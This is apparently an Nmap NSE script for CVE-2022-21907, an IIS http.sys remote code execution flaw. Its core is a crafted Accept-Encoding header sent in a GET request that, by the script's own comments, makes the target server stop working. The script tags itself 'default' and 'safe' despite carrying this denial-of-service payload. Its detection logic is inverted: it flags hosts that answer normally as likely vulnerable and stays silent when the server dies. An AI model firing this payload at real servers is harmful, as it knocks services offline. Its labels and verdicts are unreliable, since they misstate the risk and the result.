nmap-CVE-2022-21907.nse

description = [[
  CVE-2022-21907

  Repository containing nse script for vulnerability CVE-2022-21907. It is a component (IIS) vulnerability on Windows. It allows remote code execution. The vulnerability affects the kernel module http. sys, which handles most basic IIS operations. 
]]

---
-- @name
-- CVE-2022-21907 - Nse script for vulnerability CVE-2022-21907. It is a component (IIS) vulnerability on Windows. It allows remote code execution. The vulnerability affects the kernel module http. sys, which handles most basic IIS operations. 
-- @author
-- Grzegorz Piechnik
-- @usage
-- nmap --script=./nmap-CVE-2022-21907 <target>
-- @output
-- PORT   STATE SERVICE
-- 80/tcp open  http
-- | nmap-CVE-2022-21907:
-- |   VULNERABLE:
-- |   CVE-2022-21907 - DOS
-- |     State: LIKELY VULNERABLE
-- |     IDs:  CVE:CVE-2022-21907
---

local http = require "http"
local stdnse = require "stdnse"
local shortport = require "shortport"
local vulns = require "vulns"

author = "Grzegorz Piechnik <bugspace DOT com>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default", "vuln", "safe", "CVE-2022-21907"}

-- We are only interested in http requests
portrule = shortport.http

action = function(host, port)

  -- The buln definition section
  local vuln = {
      title = "CVE-2022-21907 - DOS",
      state = vulns.STATE.NOT_VULN, --default
      IDS = { CVE = 'CVE-2022-21907' }
  } 

  local report = vulns.Report:new(SCRIPT_NAME, host, port)

  local headers = {
    ["accept-encoding"] = "AAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAA" ..
      "BBBBBBBBBBBBBBBBBBBBBBBBBBB&AAAA&**BBBBBBBBBBBBBBBBBb**BBBBBBBBBB, " ..
      "CCCCC**CCCCCCCCCCCCCCCCC,CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC" ..
      "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC, " ..
      "DDDDDDDDDDDDDDDDDDDd,DDDDDDDDDDDDDDDDDDD,************DDDDDDDDDDDD, " ..
      "DDDDDDD****************DDDDDDDD, *, ,"
  }

  if shortport.http(host, port) then
    
    -- After the payload is submitted, the server should stop working and the request should have no status
    stdnse.debug("Sending a constructed request")
    local response = http.generic_request(host, port.number, "GET", "/", { header = headers, timeout = 8 })
    local status = response.status

    if status == nil then
      -- Something went really wrong out there
      -- According to the NSE way we will die silently rather than spam user with error messages
    else
        vuln.state = vulns.STATE.LIKELY_VULN
    end

    return report:make_output(vuln)
  end
end